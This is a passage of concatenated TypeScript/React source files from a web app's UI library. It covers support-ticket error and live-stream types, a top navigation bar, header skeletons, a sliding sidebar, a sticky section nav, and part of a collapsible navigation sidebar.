'TICKET_OWNERSHIP_DENIED'\n  | 'HUBSPOT_DISCONNECTED'\n  | 'RATE_LIMITED'\n  | 'INVALID_TOOL_ARGS'\n  | 'HUBSPOT_5XX'\n  | 'HUBSPOT_400_VALIDATION'\n  | 'HUBSPOT_404_THREAD'\n  | 'HUBSPOT_REPLY_UNKNOWN'\n  | 'UNKNOWN'\n\nexport interface MappedTicketActionError {\n  code: TicketActionErrorCode\n  /** Human-readable copy safe to show in a toast. */\n  message: string\n  /** When true, the form should disable submit + show the\n   *  support-down banner. Set only for HUBSPOT_DISCONNECTED. */\n  supportSystemDown: boolean\n  /** When true, the helper should remove the affected row optimistically\n   *  (TICKET_NOT_FOUND). */\n  removeRowFromCache: boolean\n  /** Retry hint surfaced from a 429 response. Caller decides whether\n   *  to mention it in the toast. */\n  retryAfterSeconds?: number\n}\n\n/**\n * Defensive client-side cap on ticket text (initial content + comment\n * addendums). HubSpot Note engagements accept more, but a 100KB paste\n * should fail fast at the UI rather than burning a server round-trip.\n * Both the open-ticket form and the per-row comment textarea import\n * this so a future server-side hardening only touches one place.\n */\nexport const TICKET_TEXT_MAX_CHARS = 5000\n\n/**\n * Wire contract of the ticket live stream (`GET /api/chat/agent/\n * ticket-stream`, SSE). Producer (the hub route's `mapEvent`) imports\n * THIS type — same producer/consumer SSOT pattern as\n * `ConversationEngagementWire = TicketEngagement`. A schema drift here\n * would be a silent serialization bug; keep one named contract.\n *\n * Frames carry METADATA ONLY — never message bodies. Content is always\n * refetched through the ACL'd `list-engagements` path (one read path).\n *\n * Event names (`eventType`):\n *   - `ticket-message` — a message row landed in the mirror for one of\n *     the viewer's tickets. `data` carries the metadata.\n *   - `ticket-status`  — a MEANINGFUL ticket-row change (status /\n *     pipeline stage / closure) landed in the mirror. Server-side\n *     old-vs-new diffing drops no-op writes (sync stamps). Clients\n *     invalidate + refetch the summary (closures count as unread\n *     server-side via `closed_at` vs the read receipt).\n *   - `ticket-summary` — the server-computed `TicketUnreadSummary`.\n *     THE stream is the summary webservice: pushed on connect (server-\n *     side resync-on-reconnect) and re-pushed (debounced) after every\n *     delivered event. Clients hold NO summary fetch path.\n *   - `ticket-resync`  — degraded frame: something happened that the\n *     server couldn't fully describe (truncated Realtime payload, or\n *     the connection's ownership set just gained tickets). A fresh\n *     `ticket-summary` follows it; clients invalidate queries.\n *\n * The server also emits `status` frames (`subscribed` / `retrying` /\n * `reconnect_failed`) from the shared SSE utility — clients derive\n * `connected` from those, NOT from the HTTP stream being open.\n */\nexport type TicketStreamEventType =\n  | 'ticket-message'\n  | 'ticket-status'\n  | 'ticket-summary'\n  | 'ticket-resync'\n\n/** Metadata payload of a `ticket-message` frame. */\nexport type TicketMessageStreamData = {\n  ticket_external_id: string\n  /** Mirror row's HubSpot message id. */\n  message_id: string\n  /** Server-stamped via the same direction predicate the wire mapper\n   *  uses. Clients never re-derive author classification. */\n  authorRole: 'customer' | 'support'\n  /** Server-stamped via the visibility+direction unread predicate\n   *  (`countsAsUnread` in the hub's conversations DAL). ONLY frames\n   *  with `true` may bump client-side unread state. */\n  countsAsUnread: boolean\n  hubspot_created_at: string | null\n}\n\n/** Metadata payload of a `ticket-status` frame. */\nexport type TicketStatusStreamData = {\n  ticket_external_id: string\n  /** Canonical OPEN | CLOSED after the change. */\n  status: string | null\n  pipeline_stage_label: string | null\n  closed_at: string | null\n}\n\nexport interface TicketStreamEvent {\n  eventType: TicketStreamEventType\n  /** Human-readable label (SSE envelope compat) — clients ignore it. */\n  message: string\n  /** `ticket-message` → TicketMessageStreamData; `ticket-status` →\n   *  TicketStatusStreamData; `ticket-summary` → TicketUnreadSummary;\n   *  absent on `ticket-resync`. */\n  data?: TicketMessageStreamData | TicketStatusStreamData | TicketUnreadSummary\n}\n\n/**\n * The SINGLE unread source, delivered EXCLUSIVELY over the stream\n * (`ticket-summary` frames on connect + after events) and in\n * `ticket-read` responses. There is no summary fetch endpoint. Header\n * badge total AND per-row dots both read this via the\n * `TicketLiveProvider` map; missing keys mean 0.\n */\nexport type TicketUnreadSummary = {\n  totalUnread: number\n  tickets: Record<string, number>\n  /** ISO timestamp of the NEWEST unread message per ticket (same keys as\n   *  `tickets`). Drives \"route to the most recent update\" on the header\n   *  cell: the ticket with the max value here is `nextUnreadTicketId`. */\n  latestUnreadAt: Record<string, string>\n}\n\n/**\n * Trailing debounce for `markRead` while the drawer is open and new\n * messages stream in — flushed on drawer close so a fast open/close\n * still persists the receipt. Named beside its sibling cadences so\n * every timing knob lives in one file.\n */\nexport const TICKET_MARK_READ_DEBOUNCE_MS = 2000\n\n/**\n * Ticket deep-link SSOT — DEFINED in the server-safe param-keys module\n * (`utils/dev-sections/dev-section-param-keys.ts`, beside its sibling\n * `devSectionAnchorId`) because producers span both worlds: the hub's\n * SERVER-side chat-ref builder and the client header cell. Re-exported\n * here so ticket-surface consumers keep one import home.\n */\nexport {\n  TICKET_OPEN_PARAM,\n  buildTicketOpenHref,\n} from '../../utils/dev-sections/dev-section-param-keys'\n\n/**\n * Centralized toast copy. Keep all wording here so QA / localization\n * can find every user-visible string in one file.\n */\nexport const TOAST_COPY = {\n  open_success: { title: 'Ticket opened', description: 'We received your message and will follow up shortly.' },\n  open_mirror_pending: { title: 'Ticket opened', description: 'Syncing — your ticket will appear momentarily.' },\n  close_success: { title: 'Ticket closed' },\n  reopen_success: { title: 'Ticket reopened' },\n  comment_success: { title: 'Comment added' },\n  attach_success: { title: 'Files attached' },\n  // Failure variants are constructed dynamically from MappedTicketActionError.\n} as const\n","'use client';\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\n\nexport type TopNavigationCenterBreakpoint = 'md' | 'lg';\n\nexport type TopNavigationSize = 'small' | 'big';\n\n// Bar height + square-cell width per size (Figma 2797-5978 `size` axis).\n// Heights are FIXED across breakpoints. `--top-nav-cell` is consumed by\n// `HeaderButton` (and any custom cell) so cell widths follow the size without\n// each cell knowing about it.\nconst SIZE_CLASSES: Record<TopNavigationSize, string> = {\n  small: 'h-14 [--top-nav-cell:3.5rem]',\n  big: 'h-[72px] [--top-nav-cell:4.5rem]',\n};\n\n// Literal class maps — Tailwind's scanner needs the full class strings.\nconst CENTER_VISIBILITY: Record<TopNavigationCenterBreakpoint, string> = {\n  md: 'hidden md:flex',\n  lg: 'hidden lg:flex',\n};\nconst LOGO_GROW: Record<TopNavigationCenterBreakpoint, string> = {\n  md: 'flex-1 md:flex-none',\n  lg: 'flex-1 lg:flex-none',\n};\n\nexport interface TopNavigationProps extends React.HTMLAttributes<HTMLElement> {\n  /** Leading cells (burger toggle, admin-sidebar toggle). Rendered raw, first\n   *  in the row — cells carry their own trailing divider\n   *  (`border-r border-ods-border`), matching the ODS spec where dividers\n   *  belong to the cells, not the bar. */\n  leading?: React.ReactNode;\n  /** Logo zone content. Grows (`flex-1`) below `centerBreakpoint`, shrinks to\n   *  content above it. Wrap in a `<Link>` on the consumer side if clickable. */\n  logo?: React.ReactNode;\n  /** Extra classes for the logo zone. Defaults follow the ODS spec paddings:\n   *  `p-m` on mobile, `pl-l` (24px) from md, `pl-xxl` (80px) from lg — the\n   *  desktop inset mirrors the leading menu-cell width so centered nav links\n   *  sit visually centered (Figma 2797-6808 / 2805-6194). */\n  logoClassName?: string;\n  /** Center zone (marketing nav links, console global search). Hidden below\n   *  `centerBreakpoint`; above it, it is the `flex-1` region that pushes the\n   *  CTA and side actions to the right edge. Rendered even when empty so the\n   *  bar always has its spacer. */\n  center?: React.ReactNode;\n  centerClassName?: string;\n  /** Breakpoint at which the center zone appears (and the logo zone stops\n   *  growing). ODS spec default is `lg` (nav links are desktop-only);\n   *  the console header uses `md` for its global search. */\n  centerBreakpoint?: TopNavigationCenterBreakpoint;\n  /** CTA zone — right-aligned, padded, no dividers (per ODS spec). */\n  cta?: React.ReactNode;\n  ctaClassName?: string;\n  /** Trailing action cells (time tracker, notifications, avatar, Mingo).\n   *  Rendered raw — each cell carries its own leading divider\n   *  (`border-l border-ods-border`). */\n  sideActions?: React.ReactNode;\n  /** Opaque ODS background class. Defaults to `bg-ods-card`. Keep it opaque —\n   *  translucent backgrounds under a sticky bar need a deliberate\n   *  backdrop-blur treatment (see the note in `header.tsx`). */\n  backgroundClassName?: string;\n  /** Top border on mobile (the ODS spec bar shows it below md). Default true. */\n  mobileTopBorder?: boolean;\n  /** Bar size (Figma 2797-5978 `size` axis): `small` = 56px (console),\n   *  `big` = 72px (marketing/hub sites). Fixed across breakpoints. */\n  size?: TopNavigationSize;\n}\n\nconst hasContent = (node: React.ReactNode): boolean => node !== null && node !== undefined && node !== false;\n\n/**\n * Unified ODS top-navigation bar (Figma `[UPD] top-navigation`, node\n * 2797-5978): the single 48px/56px (mobile / md+) cell-based header shell\n * shared by the console `AppHeader` and the marketing `Header` across all\n * platforms.\n *\n * The shell owns the bar geometry only — height, borders, background, and the\n * zone layout `[leading][logo][center][cta][sideActions]`. What goes inside\n * the zones (and each cell's divider) is the consumer's job, so platforms can\n * differ in background and in which elements they mount without forking the\n * bar itself.\n */\nexport function TopNavigation({\n  leading,\n  logo,\n  logoClassName,\n  center,\n  centerClassName,\n  centerBreakpoint = 'lg',\n  cta,\n  ctaClassName,\n  sideActions,\n  backgroundClassName,\n  mobileTopBorder = true,\n  size = 'small',\n  className,\n  children,\n  ...props\n}: TopNavigationProps) {\n  return (\n    <header\n      className={cn(\n        'flex w-full items-center border-b border-ods-border',\n        SIZE_CLASSES[size],\n        mobileTopBorder && 'border-t md:border-t-0',\n        backgroundClassName ?? 'bg-ods-card',\n        className,\n      )}\n      {...props}\n    >\n      {leading}\n      {hasContent(logo) && (\n        <div\n          className={cn(\n            'flex h-full min-w-0 items-center',\n            LOGO_GROW[centerBreakpoint],\n            'p-[var(--spacing-system-m)] md:py-0 md:pr-0 md:pl-[var(--spacing-system-l)] lg:pl-[var(--spacing-system-xxl)]',\n            logoClassName,\n          )}\n        >\n          {logo}\n        </div>\n      )}\n      <div\n        className={cn(\n          CENTER_VISIBILITY[centerBreakpoint],\n          'h-full min-w-0 flex-1 items-center justify-center',\n          centerClassName,\n        )}\n      >\n        {center}\n      </div>\n      {hasContent(cta) && (\n        <div className={cn('flex h-full shrink-0 items-center px-[var(--spacing-system-m)]', ctaClassName)}>{cta}</div>\n      )}\n      {sideActions}\n      {children}\n    </header>\n  );\n}\n\nexport default TopNavigation;\n","\"use client\";\n\nimport { useState, useEffect } from 'react';\nimport { Header, HeaderConfig } from './header';\nimport { HeaderSkeleton } from './header-skeleton';\n\nexport interface ClientOnlyHeaderProps {\n  config: HeaderConfig;\n  skeleton?: React.ReactNode;\n}\n\nexport function ClientOnlyHeader({ config, skeleton }: ClientOnlyHeaderProps) {\n  const [isClient, setIsClient] = useState(false);\n\n  useEffect(() => {\n    setIsClient(true);\n  }, []);\n  \n  if (!isClient) {\n    // Return custom skeleton or default skeleton while client-side JavaScript loads\n    return skeleton || <HeaderSkeleton config={config} />;\n  }\n\n  return <Header config={config} />;\n}","import { HeaderConfig } from '../../types/navigation';\nimport { cn } from '../../utils';\n\nexport interface HeaderSkeletonProps {\n  config?: HeaderConfig;\n}\n\n/**\n * Loading skeleton mirroring the unified ODS top-navigation geometry\n * (`TopNavigation`, Figma 2797-5978): 48px mobile / 56px md+, cell model.\n * Keep in sync with `header.tsx` — a diverging skeleton makes the\n * skeleton→live handoff jump.\n */\nexport function HeaderSkeleton({ config }: HeaderSkeletonProps) {\n  const showNavigation = config?.navigation && config.navigation.items.length > 0;\n  const showActions = config?.actions?.right && config.actions.right.length > 0;\n  const showMobileMenu = config?.mobile?.enabled;\n  const showLeftActions = !!config?.actions?.left;\n\n  return (\n    <div className=\"sticky top-0 z-[50] w-full\">\n      <header\n        className={cn(\n          'flex h-[72px] w-full items-center border-b border-t border-ods-border md:border-t-0',\n          config?.backgroundColor || 'bg-ods-card',\n          config?.className,\n        )}\n      >\n        {/* Leading cells: admin toggle / burger */}\n        {showLeftActions && (\n          <div className=\"flex h-full w-[72px] items-center justify-center border-r border-ods-border\">\n            <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n          </div>\n        )}\n        {showMobileMenu && (\n          <div className=\"flex h-full w-[72px] items-center justify-center border-r border-ods-border lg:hidden\">\n            <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n          </div>\n        )}\n\n        {/* Logo zone */}\n        <div className=\"flex h-full flex-1 items-center gap-2 p-[var(--spacing-system-m)] md:pl-[var(--spacing-system-l)] lg:flex-none lg:pl-[var(--spacing-system-xxl)]\">\n          <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n          <div className=\"h-5 w-24 animate-pulse rounded bg-ods-border\" />\n        </div>\n\n        {/* Center: navigation links (desktop only) */}\n        <div className=\"hidden h-full min-w-0 flex-1 items-center justify-center gap-2 lg:flex\">\n          {showNavigation && (\n            <>\n              <div className=\"h-8 w-20 animate-pulse rounded bg-ods-border\" />\n              <div className=\"h-8 w-28 animate-pulse rounded bg-ods-border\" />\n              <div className=\"h-8 w-24 animate-pulse rounded bg-ods-border\" />\n            </>\n          )}\n        </div>\n\n        {/* CTA zone */}\n        {showActions && (\n          <div className=\"hidden h-full items-center px-[var(--spacing-system-m)] lg:flex\">\n            <div className=\"h-8 w-24 animate-pulse rounded bg-ods-border\" />\n          </div>\n        )}\n\n        {/* Mingo cell */}\n        {config?.mingo?.enabled && (\n          <div className=\"flex h-full items-center border-l border-ods-border px-[var(--spacing-system-l)]\">\n            <div className=\"h-8 w-8 animate-pulse rounded bg-ods-border md:w-28\" />\n          </div>\n        )}\n      </header>\n    </div>\n  );\n}\n","\"use client\"\n\nimport React, { useState, useEffect, useRef } from 'react'\nimport { motion, AnimatePresence, useReducedMotion } from 'framer-motion'\nimport { usePreventScroll } from '@react-aria/overlays'\nimport { cn } from '../../utils'\nimport { useHeaderHeight } from '../../hooks/ui'\nimport { useFocusTrap } from '../../hooks/ui/use-focus-trap'\nimport { SlidingSidebarConfig, NavigationItem } from '../../types/navigation'\nimport { Button } from '../ui/button'\nimport { OVERLAY_BACKDROP_CLASS } from '../ui/drawer'\n\nexport interface SlidingSidebarProps {\n  config: SlidingSidebarConfig\n}\n\nexport function SlidingSidebar({ config }: SlidingSidebarProps) {\n  const [expandedItems, setExpandedItems] = useState<Set<string>>(new Set())\n  const [mounted, setMounted] = useState(false)\n  const headerHeight = useHeaderHeight()\n  const asideRef = useRef<HTMLElement>(null)\n  const prefersReducedMotion = useReducedMotion()\n\n  // Shared ref-counted scroll lock (react-aria) while the drawer is open.\n  usePreventScroll({ isDisabled: !config.isOpen })\n  // Escape + initial focus + guarded restore. `contain: false`: the z-50\n  // header stays visible and clickable ABOVE the open drawer (see the z-tier\n  // comment below), so this is a NON-modal dialog — Tab may leave freely.\n  useFocusTrap(asideRef, config.isOpen, { onEscape: config.onClose, contain: false })\n\n  useEffect(() => { setMounted(true) }, [])\n\n  const toggleExpanded = (itemId: string) => {\n    const newExpanded = new Set(expandedItems)\n    if (newExpanded.has(itemId)) {\n      newExpanded.delete(itemId)\n    } else {\n      newExpanded.add(itemId)\n    }\n    setExpandedItems(newExpanded)\n  }\n\n  const renderMenuItem = (item: NavigationItem, level = 0): React.ReactNode => {\n    // If custom element provided, render it\n    if (item.element) {\n      return <div key={item.id}>{item.element}</div>\n    }\n\n    const hasChildren = item.children && item.children.length > 0\n    const isExpanded = expandedItems.has(item.id)\n\n    if (hasChildren) {\n      const chevronIcon = (\n        <svg \n          className={cn(\"h-4 w-4 transition-transform\", isExpanded && \"rotate-90\")}\n          fill=\"none\" \n          stroke=\"currentColor\" \n          viewBox=\"0 0 24 24\"\n        >\n          <path strokeLinecap=\"round\" strokeLinejoin=\"round\" strokeWidth={2} d=\"M9 5l7 7-7 7\" />\n        </svg>\n      )\n\n      return (\n        <div key={item.id} className=\"space-y-1\">\n          <Button\n            variant=\"transparent\"\n            size=\"default\"\n            onClick={() => toggleExpanded(item.id)}\n            leftIcon={item.icon}\n            rightIcon={chevronIcon}\n            className={cn(\n              \"!w-full md:!w-full rounded-lg transition-colors overflow-hidden\",\n              level === 0 ? \"pl-3\" : \"pl-6\",\n              item.isActive ? \"bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent/90\" : \"text-ods-text-primary hover:bg-ods-border\"\n            )}\n          >\n            <span className=\"truncate\">{item.label}</span>\n            {item.badge !== undefined && (\n              <span className=\"ml-auto mr-2 flex-shrink-0\">{item.badge}</span>\n            )}\n          </Button>\n          \n          <AnimatePresence>\n            {isExpanded && (\n              <motion.div\n                initial={{ height: 0, opacity: 0 }}\n                animate={{ height: \"auto\", opacity: 1 }}\n                exit={{ height: 0, opacity: 0 }}\n                transition={{ \n                  duration: 0.15, \n                  ease: \"easeOut\",\n                  height: { duration: 0.2 },\n                  opacity: { duration: 0.1 }\n                }}\n                className=\"overflow-hidden\"\n              >\n                <div className=\"space-y-1 pl-4\">\n                  {item.children!.map(child => renderMenuItem(child, level + 1))}\n                </div>\n              </motion.div>\n            )}\n          </AnimatePresence>\n        </div>\n      )\n    }\n\n    // Leaf node - either link or button\n    if (item.href) {\n      // For Next.js apps, onClick handler should handle navigation\n      return (\n        <Button\n          key={item.id}\n          variant=\"transparent\"\n          size=\"default\"\n          onClick={() => {\n            // Let the parent handle navigation\n            item.onClick?.()\n            config.onClose()\n          }}\n          leftIcon={item.icon}\n          className={cn(\n            \"!w-full md:!w-full rounded-lg transition-colors overflow-hidden\",\n            level === 0 ? \"pl-3\" : \"pl-6\",\n            item.isActive\n              ? \"bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent/90\"\n              : \"text-ods-text-primary hover:bg-ods-border\"\n          )}\n        >\n          <span className=\"truncate\">{item.label}</span>\n          {item.badge !== undefined && (\n            <span className=\"ml-auto flex-shrink-0\">{item.badge}</span>\n          )}\n        </Button>\n      )\n    }\n\n    return (\n      <Button\n        key={item.id}\n        variant=\"transparent\"\n        size=\"default\"\n        onClick={() => {\n          item.onClick?.()\n          config.onClose()\n        }}\n        leftIcon={item.icon}\n        className={cn(\n          \"!w-full md:!w-full rounded-lg transition-colors overflow-hidden\",\n          level === 0 ? \"pl-3\" : \"pl-6\",\n          item.isActive\n            ? \"bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent/90\"\n            : \"text-ods-text-primary hover:bg-ods-border\"\n        )}\n      >\n        <span className=\"truncate\">{item.label}</span>\n        {item.badge !== undefined && (\n          <span className=\"ml-auto flex-shrink-0\">{item.badge}</span>\n        )}\n      </Button>\n    )\n  }\n\n  if (!mounted) {\n    return null\n  }\n\n  return (\n    <>\n      {/* Overlay — admin-drawer tier (overlay z-[45] / panel z-[46]): ABOVE the\n          footer (lowered to z-[44]) so the open drawer covers it, but BEHIND the\n          header (z-[50]) so the header stays visible on top (the panel has a\n          header spacer below). Kept under z-50 so it also stays beneath modals/\n          dialogs (z-50+). See the z-index hierarchy in ODS_TOKEN_RULES.md. */}\n      <AnimatePresence>\n        {config.isOpen && (\n          <motion.div\n            initial={{ opacity: 0 }}\n            animate={{ opacity: 1 }}\n            exit={{ opacity: 0 }}\n            transition={{ \n              duration: 0.3, \n              ease: [0.4, 0, 0.2, 1]\n            }}\n            className={cn(\"fixed inset-0 z-[45]\", OVERLAY_BACKDROP_CLASS)}\n            onClick={() => config.onClose()}\n          />\n        )}\n      </AnimatePresence>\n\n      {/* Sliding Sidebar */}\n      <motion.aside\n        ref={asideRef}\n        initial={false}\n        animate={{\n          x: config.isOpen ? 0 : (config.position === 'right' ? \"100%\" : \"-100%\")\n        }}\n        transition={prefersReducedMotion ? { duration: 0 } : {\n          type: \"spring\",\n          damping: 25,\n          stiffness: 300,\n          mass: 0.8,\n          restDelta: 0.01,\n          velocity: config.isOpen ? 5 : -5\n        }}\n        tabIndex={-1}\n        // Stays mounted translated off-screen — inert keeps its items out of\n        // the tab order while \"closed\". Non-modal dialog: no aria-modal (the\n        // header above remains reachable by design).\n        inert={!config.isOpen || undefined}\n        role={config.isOpen ? 'dialog' : undefined}\n        aria-label={config.isOpen ? 'Navigation sidebar' : undefined}\n        className={cn(\n          \"fixed top-0 bottom-0 z-[46] w-72 bg-ods-card border-ods-border flex flex-col shadow-xl\",\n          config.position === 'right' ? \"right-0 border-l\" : \"left-0 border-r\",\n          config.className\n        )}\n      >\n        {/* Header spacer - dynamic height */}\n        <div className=\"flex-shrink-0\" style={{ height: `${headerHeight}px` }} />\n        \n        {/* Navigation */}\n        <nav className=\"flex-1 p-4 space-y-2 overflow-y-auto overscroll-contain\">\n          {config.items.map(item => renderMenuItem(item))}\n        </nav>\n\n        {/* Footer - bottom padding clears the iOS home indicator */}\n        {config.footer && (\n          <div className=\"p-4 pb-[max(1rem,env(safe-area-inset-bottom))] border-t border-ods-border\">\n            {config.footer}\n          </div>\n        )}\n      </motion.aside>\n\n    </>\n  )\n}","\"use client\"\n\nimport React, { useEffect, useState, useCallback, useRef } from 'react'\nimport { cn } from '../../utils'\nimport { scrollElementIntoView } from '../../utils/scroll-into-view'\n\nexport interface StickyNavSection {\n  id: string\n  label: string\n}\n\ninterface StickySectionNavProps {\n  sections: StickyNavSection[]\n  activeSection: string\n  onSectionClick: (sectionId: string) => void\n  className?: string\n  ribbonPosition?: 'left' | 'right'\n  ribbonColor?: string\n}\n\n/**\n * Reusable sticky navigation component for section-based navigation\n * Used in vendor detail pages, knowledge base, documentation, etc.\n */\nexport function StickySectionNav({\n  sections,\n  activeSection,\n  onSectionClick,\n  className,\n  ribbonPosition = 'left',\n  ribbonColor = 'var(--color-accent-primary)'\n}: StickySectionNavProps) {\n  const navHeight = sections.length * 40 // 40px per item (h-10)\n\n  return (\n    <nav className={cn(\"bg-ods-bg relative\", className)}>\n      {/* Background gray vertical line for all nav items */}\n      <div\n        className=\"absolute bg-ods-border\"\n        style={{\n          width: '1px',\n          height: `${navHeight}px`,\n          [ribbonPosition === 'left' ? 'left' : 'right']: '-2px',\n          top: '0px'\n        }}\n      />\n\n      {sections.map((section) => (\n        <div\n          key={section.id}\n          className=\"relative w-full h-10 transition-all duration-200 flex items-stretch\"\n        >\n          {/* Yellow ribbon for active state */}\n          {activeSection === section.id && (\n            <div\n              className=\"absolute z-10 transition-all duration-200\"\n              style={{\n                backgroundColor: ribbonColor,\n                width: '4px',\n                height: '24px',\n                [ribbonPosition === 'left' ? 'left' : 'right']: '-2px',\n                top: '8px',\n                borderRadius: '2px'\n              }}\n            />\n          )}\n\n          {/* Navigation button */}\n          <button\n            onClick={() => onSectionClick(section.id)}\n            className=\"flex-1 flex items-center gap-2 px-3 py-2 cursor-pointer relative\"\n          >\n            <span className={cn(\n              \"text-left text-h6 transition-all duration-200\",\n              activeSection === section.id\n                ? \"text-ods-text-primary\"\n                : \"text-ods-text-secondary hover:text-ods-text-primary\"\n            )}>\n              {section.label}\n            </span>\n          </button>\n        </div>\n      ))}\n    </nav>\n  )\n}\n\n/**\n * SIMPLEST POSSIBLE IMPLEMENTATION - Just make it work\n */\nexport function useSectionNavigation(\n  sections: { id: string; ref: React.RefObject<HTMLElement> }[],\n  options?: {\n    offset?: number\n  }\n) {\n  const [activeSection, setActiveSection] = useState(sections[0]?.id || '')\n  const isScrollingFromClick = useRef(false)\n  const { offset = 100 } = options || {}\n\n  // Handle click - scroll to the element via the canonical helper.\n  // The `offset` prop maps to `headerOffset` (sticky chrome above the\n  // section nav); same smooth-scroll mechanics every other anchor\n  // surface in the app uses.\n  const handleSectionClick = useCallback((sectionId: string) => {\n    const targetElement = document.getElementById(sectionId)\n    if (!targetElement) return\n\n    // Prevent scroll spy while we're scrolling\n    isScrollingFromClick.current = true\n    setActiveSection(sectionId)\n\n    scrollElementIntoView(targetElement, { headerOffset: offset })\n\n    // Allow scroll spy again after scroll completes\n    setTimeout(() => {\n      isScrollingFromClick.current = false\n    }, 500)\n  }, [offset])\n\n  // Make sure elements have IDs\n  useEffect(() => {\n    sections.forEach(section => {\n      if (section.ref.current && !section.ref.current.id) {\n        section.ref.current.id = section.id\n      }\n    })\n  }, [sections])\n\n  // Simple scroll spy\n  useEffect(() => {\n    const handleScroll = () => {\n      if (isScrollingFromClick.current) return\n\n      const scrollPosition = window.scrollY + offset + 50\n\n      // Find which section we're in\n      let currentSection = sections[0]?.id || ''\n      \n      for (let i = sections.length - 1; i >= 0; i--) {\n        const element = document.getElementById(sections[i].id)\n        if (element && scrollPosition >= element.offsetTop) {\n          currentSection = sections[i].id\n          break\n        }\n      }\n\n      setActiveSection(currentSection)\n    }\n\n    // Throttle the scroll handler\n    let scrollTimer: NodeJS.Timeout\n    const throttledScroll = () => {\n      clearTimeout(scrollTimer)\n      scrollTimer = setTimeout(handleScroll, 100)\n    }\n\n    window.addEventListener('scroll', throttledScroll)\n    handleScroll() // Check initial position\n\n    return () => {\n      window.removeEventListener('scroll', throttledScroll)\n      clearTimeout(scrollTimer)\n    }\n  }, [sections, offset])\n\n  return {\n    activeSection,\n    handleSectionClick\n  }\n}","\"use client\"\n\nimport { useCallback, useEffect, useMemo, useState } from 'react'\nimport { useIsomorphicLayoutEffect } from '../../hooks/ui/use-isomorphic-layout-effect'\nimport { useLocalStorage } from '../../hooks/ui/use-local-storage'\nimport { useLgUp, useMdUp } from '../../hooks/ui/use-media-query'\nimport { NavigationSidebarConfig, NavigationSidebarItem } from '../../types/navigation'\nimport { cn } from '../../utils'\nimport { NavigationSidebarHeader } from './navigation-sidebar-header'\nimport { NavigationSidebarItemButton, NavigationSidebarItemSkeleton } from './navigation-sidebar-item'\nimport { NavigationSidebarToggle } from './navigation-sidebar-toggle'\n\nconst MINIMIZED_WIDTH = 56 // 3.5rem = 56px\nconst EXPANDED_WIDTH = 224 // 14rem = 224px\nconst STORAGE_KEY = 'of.navigationSidebar.minimized'\n\n/**\n * The desktop width, as a custom property on `:root`. Read by the `lg:` rule in\n * {@link SIDEBAR_GEOMETRY_CLASSES} and written by this component whenever the\n * user toggles — but NEVER during render.\n *\n * It has to be a global variable rather than an inline style because of WHEN the\n * value is knowable. The width follows a preference in `localStorage`, which the\n * server cannot read: any markup derived from it differs between the server's\n * HTML and the client's hydration render, and React tears the tree down and\n * regenerates it. Seeding this property from a tiny script in `<head>` moves the\n * preference OUT of React's rendered output — the markup becomes identical on\n * both sides, while the width is already correct on the very first paint.\n *\n * Consumers are expected to seed it before first paint; unseeded, the fallback\n * in the class below paints the expanded width until this component's effect\n * catches up, which is the flash the seed exists to remove.\n */\nexport const NAVIGATION_SIDEBAR_WIDTH_VAR = '--of-navigation-sidebar-width'\n\n/**\n * The rail as a query container, so the parts of the sidebar that follow its\n * collapsed state can read that state off the rail's own width — currently the\n * collapse chevron's direction, in `navigation-sidebar-toggle.tsx`.\n *\n * There is no second source of truth for \"is it collapsed\", and that is the\n * point: the width already has to be correct on the first paint and at every\n * breakpoint, so anything derived from it is too — the seeded desktop\n * preference, the tablet rail and an overlay opened on tablet all come along for\n * free. A parallel copy would have to be kept in step with each of the three\n * separately, and the custom property that used to live here fell out of step on\n * the last one: it could not see the tablet rail, so that case got its own media\n * query, which in turn could not see an open overlay and pointed the chevron\n * backwards under it.\n *\n * Queried as `@[140px]/of-nav-sidebar:` — 140px is the midpoint between the 56px\n * rail and the 224px expanded sidebar, so the width only crosses it mid-toggle.\n * Container queries are min-width, so a follower styles its COLLAPSED look as the\n * default and lets the query take it back. Written out literally at each use\n * rather than interpolated from a constant: Tailwind scans source text, and a\n * class it cannot see spelled out is a class it never generates.\n */\nconst SIDEBAR_CONTAINER = '@container/of-nav-sidebar'\n\n/**\n * Where the sidebar sits and how wide it is, per breakpoint — as literal classes,\n * because this cannot be decided in JavaScript in time.\n *\n * `useMdUp`/`useLgUp` answer `undefined` until an effect has run, so `isTablet`\n * is false on the first render — the SERVER's render included. A tablet\n * therefore received the desktop branch in its HTML (`relative`, `width:224px`,\n * an inline style no class could outrank) and only snapped to the 56px rail once\n * hydration and an effect had both completed. That is the wide sidebar that\n * flashed on every load, and no amount of JS could fix it: the server has no\n * viewport to consult, so the answer has to be deferred to the one consumer that\n * always knows — the browser's own media evaluation.\n *\n * The state that a viewport CANNOT determine still lives outside the render: the\n * persisted desktop preference reaches the `lg:` rule through\n * {@link NAVIGATION_SIDEBAR_WIDTH_VAR}. An inline width would be simpler than a\n * custom property, but it would also override the tablet rail on the very first\n * paint, which is the bug being fixed.\n *\n * The tablet WIDTH is deliberately not here — see {@link SIDEBAR_TABLET_WIDTH}.\n *\n * Widths are `w-14`/`w-56` — the class equivalents of `MINIMIZED_WIDTH` and\n * `EXPANDED_WIDTH`, as is the `14rem` fallback below. Keep them in step; a class\n * string cannot interpolate a constant.\n */\nconst SIDEBAR_GEOMETRY_CLASSES = [\n  // Tablet: float over the content, anchored to the layout row (`absolute`\n  // within AppLayout's `relative` row) — NOT the viewport — so an optional\n  // `topBar` above the row is not overlapped. With no topBar the row spans the\n  // full viewport, so this is visually identical to a viewport-fixed sidebar.\n  'md:absolute md:inset-y-0 md:left-0 md:z-[45]',\n  // Desktop: back in the flex flow, width from the persisted preference. The\n  // fallback IS the default, so the property needs no global declaration and an\n  // unseeded consumer gets the full sidebar rather than a rail with no labels.\n  'lg:relative lg:inset-auto lg:z-auto lg:h-full lg:w-[var(--of-navigation-sidebar-width,14rem)]',\n].join(' ')\n\n/**\n * The tablet width, as ONE `md:` class rather than a rail plus an override.\n *\n * Tablet is a 56px rail by design and only widens for an overlay the user has\n * opened — state no viewport can imply, so it has to come from JS. Written as\n * `md:w-14` + `max-lg:w-56` the two rules both match between md and lg at equal\n * specificity, and Tailwind emits the `max-lg` block BEFORE the `md` one, so\n * source order hands the tablet straight back to the rail. Picking one class\n * removes the contest instead of trying to win it — and keeps the `!important`\n * that winning it would need out of the 